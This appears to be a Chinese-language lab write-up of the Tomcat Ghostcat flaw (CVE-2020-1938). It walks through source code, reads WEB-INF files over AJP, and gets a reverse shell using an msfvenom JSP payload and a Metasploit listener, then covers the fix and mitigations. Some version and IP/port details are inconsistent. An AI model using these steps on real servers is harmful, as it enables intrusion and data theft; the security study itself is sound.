漏洞概述
漏洞名稱:Tomcat AJP協議文件包含/讀取漏洞(Ghostcat)
CVE 編號:CVE-2020-1938
CVSS 評分:9.8
影響版本:
- Apache Tomcat 6.x (≤ 6.0.53)
- Apache Tomcat 7.x (≤ 7.0.99)
- Apache Tomcat 8.x (≤ 8.5.51)
- Apache Tomcat 9.x (≤ 9.0.31)
修復版本:≥ 7.0.100 / 8.5.52 / 9.0.31
漏洞類型:文件包含/讀取 → 可導致遠程代碼執行(RCE)
根本原因:Tomcat AJP協議處理器未對請求路徑做安全校驗,攻擊者通過構造惡意AJP請求可讀取Web目錄任意文件(含WEB-INF敏感文件),結合文件上傳可執行任意代碼。
漏洞原理與源碼分析
1. 漏洞觸發條件
- 開啟AJP服務:默認監聽
8009
端口(conf/server.xml
中<Connector port="8009" protocol="AJP/1.3" />
)。 - 攻擊可達性:攻擊者需訪問AJP端口(常暴露于內網,但公網容器可能誤配置暴露)。
2. 關鍵源碼定位
(1)AJP請求處理入口:AjpProcessor#process
代碼路徑:org.apache.coyote.ajp.AjpProcessor
public SocketState process(SocketWrapper<Socket> socket)throws IOException {...prepareRequest(); // 解析AJP請求頭..adapter.service(request, response); // 轉發請求...}
漏洞點:未校驗request_uri
和attributes
的合法性,允許構造惡意路徑。
(2)請求路由邏輯:CoyoteAdapter#service
代碼路徑:org.apache.catalina.connector.CoyoteAdapter
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) {...connector.getService().getContainer().getPipeline().getFirst().invoke(request, response); // 進入容器處理鏈...
}
(3)文件讀取漏洞點:DefaultServlet#doGet
代碼路徑:org.apache.catalina.servlets.DefaultServlet
@Overrideprotected void doPost(HttpServletRequest request,HttpServletResponse response)throws IOException, ServletException {doGet(request, response);}
protected void serveResource(HttpServletRequest request,HttpServletResponse response,boolean content)throws IOException, ServletException {String path = getRelativePath(request);// 獲取請求路徑(可被惡意構造)...if (path.endsWith("/") || (path.endsWith("\\"))) {String requestUri = (String) request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI);if (requestUri == null) {requestUri = request.getRequestURI();}response.sendError(HttpServletResponse.SC_NOT_FOUND,requestUri);return;// 目錄請求跳過}...// 關鍵:直接讀取文件并返回內容(無路徑校驗)InputStream renderResult = null;if (cacheEntry.context != null) {if (serveContent) { renderResult = render(getPathPrefix(request), cacheEntry);}}if (serveContent) {try {response.setBufferSize(output);} catch (IllegalStateException e) {}if (ostream != null) {if (!checkSendfile(request, response, cacheEntry, contentLength, null))copy(cacheEntry, renderResult, ostream);} else {copy(cacheEntry, renderResult, writer);}}
漏洞利用:通過AJP協議傳遞javax.servlet.include.path_info
屬性,可繞過路徑限制訪問WEB-INF
目錄。
3. 敏感文件讀取機制
Tomcat安全限制:
- 瀏覽器直接請求
/WEB-INF/web.xml
→ 返回404錯誤(受conf/web.xml
中<servlet-mapping>
保護)。 - AJP協議繞過原理:
構造attributes
:
使{ javax.servlet.include.path_info: "/WEB-INF/web.xml", javax.servlet.include.servlet_path: "/" }
DefaultServlet
將/WEB-INF/web.xml
識別為合法路徑,從而讀取敏感文件。
漏洞利用方式
1. 攻擊流程
2. 兩種利用場景
利用類型 | Payload示例 | 影響 |
---|---|---|
敏感文件讀取 | 讀取WEB-INF/web.xml 獲取數據庫密碼 | 信息泄露、權限提升 |
遠程代碼執行 | 結合文件上傳漏洞+文件包含執行JSP WebShell | 服務器完全淪陷 |
3. 利用工具與步驟
(1).使用 Vulhub 環境啟動漏洞靶機
docker-compose up -d
(2)訪問 http://target:8080,確認服務正常運行
(3)下載漏洞利用工具
(4)讀取敏感文件
- 用python2執行工具中的
Tomcat-ROOT路徑下文件讀取(CVE-2020-1938).py
python Tomcat-ROOT路徑下文件讀取(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml 192.168.1.100
//換為自己靶場的ip
- 讀取到敏感文件
(5)下面模擬結合文件上傳,實現反彈shell
- kail生成
payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.102 LPORT=6666 -f raw > shell.txt
(6)由于是模擬文件上傳,所以這里直接將shell.txt
,復制到靶機容器中
docker cp shell.txt 容器id:/usr/local/tomcat/webapps/ROOT/WEB-INF/
(7)kali開啟監聽
msfconsole
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.31.150 # kali的IP
set lport 4444 # 監聽端口
run
(8)利用之前的工具包含shell.txt
python 'Tomcat-ROOT路徑下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/shell.txt 192.168.1.100
(9)成功getshell
影響范圍與修復方案
1. 受影響版本
Tomcat 分支 | 受影響版本 | 安全版本 |
---|---|---|
6.x | ≤ 6.0.53 | 無官方修復(EOL) |
7.x | ≤ 7.0.99 | ≥ 7.0.100 |
8.x | ≤ 8.5.51 | ≥ 8.5.52 |
9.x | ≤ 9.0.31 | ≥ 9.0.31 |
2. 官方修復方案
- 補丁提交:修訂記錄
- 修復邏輯:
- 禁用
javax.servlet.include.*
屬性(AjpProcessor
):// 檢查并拒絕包含敏感屬性 if (request.getAttribute(Globals.REQUEST_DISPATCHER_PATH_ATTR) != null) {response.setStatus(403); // 直接返回403禁止return; }
- 增加
requiredSecret
認證(強制AJP連接配置密碼)。
- 禁用
3. 臨時緩解措施
- 關閉AJP服務:
<!-- conf/server.xml --> <!-- 注釋AJP Connector --> <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->
- 網絡隔離:
- 防火墻限制
8009
端口僅允許可信IP訪問。
- 防火墻限制
- 升級中間件:
- 使用Nginx反向代理并過濾惡意請求。
漏洞啟示
- 最小化暴露:非必要網絡服務(如AJP)應默認關閉。
- 協議安全性:二進制協議需嚴格校驗屬性合法性。
- 縱深防御:敏感目錄(
WEB-INF
)的訪問控制需在多層實現(容器/代碼/網絡)。
參考鏈接
- CVE-2020-1938 官方通告(Apache Tomcat)
- 漏洞原理深度解析(長亭科技)
- 源碼分析與補丁解讀(知乎專欄)
- Tomcat CVE-2020-1938 漏洞復現和利用過程(csdn)